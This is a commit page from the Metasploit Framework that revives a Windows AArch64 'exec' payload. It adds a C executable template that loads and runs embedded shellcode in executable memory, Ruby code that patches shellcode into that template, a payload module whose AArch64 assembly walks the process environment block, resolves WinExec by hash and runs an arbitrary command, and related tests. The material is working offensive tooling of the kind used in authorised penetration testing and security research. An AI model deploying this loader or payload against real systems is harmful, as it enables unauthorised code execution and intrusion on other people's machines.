Skip to content

Commit 1dadec8

Browse files
committed
Revive windows/aarch64/exec Payload
1 parent a7b038b commit 1dadec8

File tree

6 files changed

+369
-0
lines changed

6 files changed

+369
-0
lines changed
Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
// AArch64 PE EXE Template for Metasploit Framework
2+
//
3+
// -----------------------------------------------------------------------------
4+
//
5+
// Compilation Instructions:
6+
//
7+
// Using MSVC on a Windows ARM64 Host:
8+
//
9+
// cl.exe /nologo /O2 /W3 /GS- /D_WIN64 template_aarch64_windows.c /link ^
10+
// /subsystem:windows /machine:arm64 /entry:main ^
11+
// /out:template_aarch64_windows.exe kernel32.lib
12+
//
13+
// -----------------------------------------------------------------------------
14+
15+
#define WIN32_LEAN_AND_MEAN
16+
#include <windows.h>
17+
#undef WIN32_LEAN_AND_MEAN
18+
19+
#define PAYLOAD_MARKER "PAYLOAD:"
20+
#define SCSIZE 8192
21+
22+
char payload[SCSIZE] = PAYLOAD_MARKER;
23+
24+
int main(void)
25+
{
26+
void *exec_mem;
27+
DWORD old_prot;
28+
HANDLE hThread;
29+
30+
// Stage 1: Allocate a block of memory. We request READWRITE permissions
31+
// initially so we can copy our payload into it.
32+
exec_mem = VirtualAlloc(NULL, SCSIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
33+
if (exec_mem == NULL)
34+
{
35+
// Fail silently if allocation fails.
36+
return 1;
37+
}
38+
39+
// Stage 2: Copy the payload from our data section into the new memory block.
40+
// A simple loop is used for maximum compiler compatibility and to avoid
41+
// needing extra headers like <string.h> for memcpy.
42+
for (int i = 0; i < SCSIZE; i++)
43+
{
44+
((char *)exec_mem)[i] = payload[i];
45+
}
46+
47+
// Stage 3: Change the memory's protection flags from READWRITE to
48+
// EXECUTE_READ.
49+
if (VirtualProtect(exec_mem, SCSIZE, PAGE_EXECUTE_READ, &old_prot) == FALSE)
50+
{
51+
// Fail silently if we cannot make the memory executable.
52+
return 1;
53+
}
54+
55+
// Stage 4: Execute the shellcode.
56+
hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec_mem, NULL, 0, NULL);
57+
if (hThread)
58+
{
59+
WaitForSingleObject(hThread, INFINITE);
60+
CloseHandle(hThread);
61+
}
62+
else
63+
{
64+
// As a fallback in case CreateThread fails, call the shellcode directly.
65+
((void (*)())exec_mem)();
66+
}
67+
68+
return 0;
69+
}
11 KB
Binary file not shown.

lib/msf/util/exe.rb

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -536,6 +536,27 @@ def self.string_to_pushes(string)
536536
pushes
537537
end
538538

539+
# Converts a raw AArch64 payload into a PE executable.
540+
#
541+
# @param framework [Msf::Framework] The framework instance.
542+
# @param code [String] The raw AArch64 shellcode.
543+
# @param opts [Hash] The options hash.
544+
# @option opts [String] :template The path to a custom PE template.
545+
# @return [String] The generated PE executable as a binary string.
546+
def self.to_winaarch64pe(framework, code, opts = {})
547+
# Use the standard template if not specified by the user.
548+
# This helper finds the full path and stores it in opts[:template].
549+
set_template_default(opts, 'template_aarch64_windows.exe')
550+
551+
# Read the template directly from the path now stored in the options.
552+
pe = File.read(opts[:template], mode: 'rb')
553+
554+
# Find the tag and inject the payload
555+
bo = find_payload_tag(pe, 'Invalid Windows AArch64 template: missing "PAYLOAD:" tag')
556+
pe[bo, code.length] = code.dup
557+
pe
558+
end
559+
539560
# self.exe_sub_method
540561
#
541562
# @param code [String]
@@ -2137,6 +2158,8 @@ def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
21372158
to_win32pe(framework, code, exeopts)
21382159
when ARCH_X64
21392160
to_win64pe(framework, code, exeopts)
2161+
when ARCH_AARCH64
2162+
to_winaarch64pe(framework, code, exeopts)
21402163
end
21412164
when 'exe-service'
21422165
case arch
Lines changed: 226 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,226 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
module MetasploitModule
7+
# This size is an approximation. The final size depends on the CMD string.
8+
CachedSize = 384
9+
10+
include Msf::Payload::Windows
11+
include Msf::Payload::Single
12+
13+
def initialize(info = {})
14+
super(
15+
merge_info(
16+
info,
17+
'Name' => 'Windows AArch64 Execute Command',
18+
'Description' => 'Execute an arbitrary command on AArch64 Windows. Based on original research from Alan Foster.',
19+
'Author' => [
20+
'alanfoster', # Original implementation and research
21+
'Alexander "xaitax" Hagenah'
22+
],
23+
'License' => MSF_LICENSE,
24+
'Platform' => 'win',
25+
'Arch' => ARCH_AARCH64,
26+
'Notes' => {
27+
'Stability' => [CRASH_SAFE],
28+
'SideEffects' => [ARTIFACTS_ON_DISK, SCREEN_EFFECTS]
29+
}
30+
)
31+
)
32+
33+
register_options(
34+
[
35+
OptString.new('CMD', [true, 'The command string to execute', 'calc.exe'])
36+
]
37+
)
38+
end
39+
40+
def generate(_opts = {})
41+
# The following AArch64 assembly implements the payload's core logic.
42+
# It is based on the alanfosters original implementation.
43+
cmd_str = datastore['CMD'] || 'calc.exe'
44+
asm = <<~EOF
45+
// Notes:
46+
// https://devblogs.microsoft.com/oldnewthing/20220822-00/?p=107032
47+
// https://devblogs.microsoft.com/oldnewthing/20220823-00/?p=107041
48+
// https://devblogs.microsoft.com/oldnewthing/20220824-00/?p=107043
49+
50+
main:
51+
// --- Function Prologue ---
52+
// Allocate 0xb0 (176) bytes on the stack, then store the old
53+
// frame pointer (x29) and link register (x30) at the new stack top.
54+
stp x29, x30, [sp, #-0xb0]!
55+
// Set the new frame pointer to the current stack pointer.
56+
mov x29, sp
57+
// Save non-volatile registers we will be using to a known offset from our new frame.
58+
stp x19, x20, [x29, #0x10]
59+
str x21, [x29, #0x20]
60+
61+
// --- API Hash Setup ---
62+
// Load the pre-calculated custom hash for kernel32.dll!WinExec into w8.
63+
movz w8, #0x8b31
64+
movk w8, #0x876f, lsl #16
65+
66+
api_call:
67+
// --- PEB Traversal ---
68+
// Begin walking the Process Environment Block's module list to find loaded DLLs.
69+
// x18 on Windows AArch64 always points to the Thread Environment Block (TEB).
70+
ldr x10, [x18, #0x60] // x10 = TEB->ProcessEnvironmentBlock (PEB)
71+
ldr x10, [x10, #0x18] // x10 = PEB->Ldr
72+
ldr x10, [x10, #0x20] // x10 = PEB->Ldr.InMemoryOrderModuleList.Flink (first module)
73+
74+
next_mod:
75+
// --- Module Name Hashing ---
76+
// The LDR_DATA_TABLE_ENTRY UNICODE_STRING for the name is at +0x48.
77+
ldr x11, [x10, #0x50] // x11 = FullDllName.Buffer pointer
78+
ldr x12, [x10, #0x4a] // x12 = FullDllName.Length (USHORT)
79+
and x12, x12, #0xffff // Ensure we only have the 16-bit length
80+
movz w13, #0 // w13 = module hash accumulator
81+
loop_modname:
82+
// This hashing loop reads one byte at a time from a UTF-16 string.
83+
ldrb w14, [x11], #0x1 // Read a byte and post-increment pointer
84+
cmp w14, #97 // Compare with ASCII 'a' for case conversion
85+
b.lt not_lowercase
86+
sub w14, w14, #0x20 // Convert to uppercase
87+
not_lowercase:
88+
ror w13, w13, #13 // Rotate hash accumulator
89+
add w13, w13, w14 // Add character to hash
90+
sub w12, w12, #1 // Decrement length
91+
cmp w12, wzr
92+
b.gt loop_modname
93+
// These extra rotates are preserved from the original implementation.
94+
ror w13, w13, #13
95+
ror w13, w13, #13
96+
97+
// Save current state to our stack frame before parsing the export table.
98+
str x10, [x29, #0x30] // Save current module's LDR_DATA_TABLE_ENTRY pointer
99+
str x13, [x29, #0x38] // Save computed module hash
100+
101+
// --- PE Export Table Traversal ---
102+
ldr x10, [x10, #0x20] // x10 = DllBase (module base address)
103+
ldr w11, [x10, #0x3c] // Get e_lfanew from DOS header
104+
add x11, x10, x11 // x11 = Address of PE (NT) Header
105+
106+
// --- Implement PE64 Magic Number Check ---
107+
// This check ensures we only attempt to parse 64-bit PE modules,
108+
// avoiding crashes if a 32-bit (WoW64) module is encountered.
109+
// The PE32+ Magic (0x020B) is found at Optional Header +0x18.
110+
ldrh w14, [x11, #0x18] // Load the Magic number from Optional Header
111+
cmp w14, #0x020b // Compare with PE32+ magic value
112+
b.ne get_next_mod_loop // If not 0x020B, skip this module (it's 32-bit or invalid)
113+
114+
ldr w11, [x11, 0x88] // Get Export Table RVA from Optional Header
115+
cmp x11, #0x0 // Check if an Export Table exists
116+
b.eq get_next_mod_loop
117+
add x11, x11, x10 // x11 = Export Table Virtual Address
118+
str x11, [x29, #0x40] // Save EAT address to the stack
119+
ldr w12, [x11, #0x18] // w12 = NumberOfNames
120+
ldr w13, [x11, #0x20] // w13 = AddressOfNames RVA
121+
add x13, x10, x13 // w13 = AddressOfNames VA
122+
123+
get_next_func:
124+
cmp w12, #0
125+
b.eq get_next_mod_loop // If all functions checked, move to the next module
126+
sub w12, w12, #1 // Search backwards through the export names
127+
mov x14, #0x4
128+
madd x15, x12, x14, x13 // Get address of name RVA from AddressOfNames array
129+
ldr w15, [x15] // w15 = RVA of function name string
130+
add x15, x10, x15 // x15 = VA of function name string
131+
movz x5, #0 // w5 = function hash accumulator
132+
loop_funcname:
133+
ldrb w11, [x15], #0x1 // Load one byte of the ASCII function name
134+
ror w5, w5, #13 // Rotate hash
135+
add w5, w5, w11 // Add character to hash
136+
cmp x11, #0
137+
b.ne loop_funcname // Loop until null terminator
138+
ldr w6, [x29, #0x38] // Retrieve module hash from stack
139+
add w6, w6, w5 // Add function hash
140+
cmp w6, w8 // Compare against target hash
141+
b.ne get_next_func
142+
143+
// --- Function Address Resolution ---
144+
found_func:
145+
ldr x11, [x29, #0x40] // Restore EAT address from stack
146+
ldr w13, [x11, #0x24] // Get AddressOfNameOrdinals RVA
147+
add x13, x10, x13
148+
mov x14, #0x2
149+
madd x15, x12, x14, x13 // Get address of the function's ordinal
150+
ldrh w15, [x15] // Get the 16-bit ordinal
151+
ldr w13, [x11, #0x1c] // Get AddressOfFunctions RVA
152+
add x13, x10, x13
153+
mov x14, #0x4
154+
madd x15, x15, x14, x13 // Get address of the function's RVA using the ordinal
155+
ldr w15, [x15]
156+
add x15, x15, x10 // x15 = Final VA of WinExec
157+
158+
finish:
159+
// --- Call WinExec ---
160+
// Set up x9 to point to a scratch buffer on our stack for the command string.
161+
add x9, x29, #0x50
162+
// create_aarch64_string_in_stack places the pointer to the CMD in x0.
163+
#{create_aarch64_string_in_stack(cmd_str)}
164+
mov w1, #1 // Arg2: uCmdShow = SW_SHOWNORMAL (1)
165+
mov x8, x15 // Move target function address for the call
166+
blr x8 // Branch with Link to Register (call WinExec)
167+
168+
// --- Function Epilogue ---
169+
epilogue:
170+
// Restore saved registers.
171+
ldp x19, x20, [x29, #0x10]
172+
ldr x21, [x29, #0x20]
173+
// Restore the original stack pointer from our frame pointer.
174+
mov sp, x29
175+
// Restore the original frame pointer and link register, deallocating the stack.
176+
ldp x29, x30, [sp], #0xb0
177+
ret // Return to the caller.
178+
179+
// --- Refined Loop Control ---
180+
get_next_mod_loop:
181+
// Restore the LDR_DATA_TABLE_ENTRY pointer from the stack.
182+
ldr x10, [x29, #0x30]
183+
// Follow the Flink pointer to the next entry in the circular list.
184+
ldr x10, [x10]
185+
// Jump back to the start of the module processing loop.
186+
b next_mod
187+
EOF
188+
189+
compile_aarch64(asm)
190+
end
191+
192+
def create_aarch64_string_in_stack(string)
193+
str = string + "\x00"
194+
target = :x0
195+
stack = :x9
196+
push_string = str.bytes.each_slice(8).flat_map do |chunk|
197+
mov_instructions = chunk.each_slice(2).with_index.map do |word, idx|
198+
hex = word.reverse.map { |b| format('%02x', b) }.join
199+
"mov#{idx == 0 ? 'z' : 'k'} #{target}, #0x#{hex}#{idx == 0 ? '' : ", lsl ##{idx * 16}"}"
200+
end
201+
[*mov_instructions, "str #{target}, [#{stack}], #8"]
202+
end
203+
set_target_register = [
204+
"mov #{target}, #{stack}",
205+
"sub #{target}, #{target}, ##{align(str.bytesize)}"
206+
]
207+
(push_string + set_target_register).join("\n")
208+
end
209+
210+
def align(value, alignment: 8)
211+
return value if (value % alignment).zero?
212+
213+
value + (alignment - (value % alignment))
214+
end
215+
216+
def compile_aarch64(asm_string)
217+
require 'aarch64/parser'
218+
parser = ::AArch64::Parser.new
219+
asm = parser.parse(without_inline_comments(asm_string))
220+
asm.to_binary
221+
end
222+
223+
def without_inline_comments(string)
224+
string.lines.map { |line| line.split('//', 2).first.strip }.reject(&:empty?).join("\n")
225+
end
226+
end
Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
require 'rspec'
2+
3+
RSpec.describe 'singles/windows/aarch64/exec' do
4+
include_context 'Msf::Simple::Framework#modules loading'
5+
6+
let(:subject) do
7+
load_and_create_module(
8+
module_type: 'payload',
9+
reference_name: 'windows/aarch64/exec',
10+
ancestor_reference_names: [
11+
'singles/windows/aarch64/exec'
12+
]
13+
)
14+
end
15+
let(:cmd) { nil }
16+
let(:datastore_values) { { 'CMD' => cmd } }
17+
18+
before(:each) do
19+
subject.datastore.merge!(datastore_values)
20+
end
21+
22+
describe '#generate' do
23+
def expect_valid_compilation
24+
allow(subject).to receive(:compile_aarch64).and_wrap_original do |original, asm|
25+
compiled_asm = original.call asm
26+
expect(compiled_asm.length).to be > 0
27+
'mock-aarch64-compiled'
28+
end
29+
expect(subject.generate).to include 'mock-aarch64-compiled'
30+
end
31+
32+
context 'when the CMD is notepad.exe' do
33+
let(:cmd) { 'notepad.exe' }
34+
35+
it 'compiles successfully' do
36+
expect_valid_compilation
37+
end
38+
end
39+
end
40+
end

spec/modules/payloads_spec.rb

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -5180,6 +5180,17 @@
51805180
reference_name: 'windows/vncinject/reverse_tcp_rc4_dns'
51815181
end
51825182

5183+
context 'windows/aarch64/exec' do
5184+
it_should_behave_like 'payload cached size is consistent',
5185+
ancestor_reference_names: [
5186+
'singles/windows/aarch64/exec'
5187+
],
5188+
dynamic_size: false,
5189+
modules_pathname: modules_pathname,
5190+
reference_name: 'windows/aarch64/exec'
5191+
end
5192+
5193+
51835194
context 'windows/x64/custom/bind_ipv6_tcp' do
51845195
it_should_behave_like 'payload is not cached',
51855196
ancestor_reference_names: [

0 commit comments

Comments
 (0)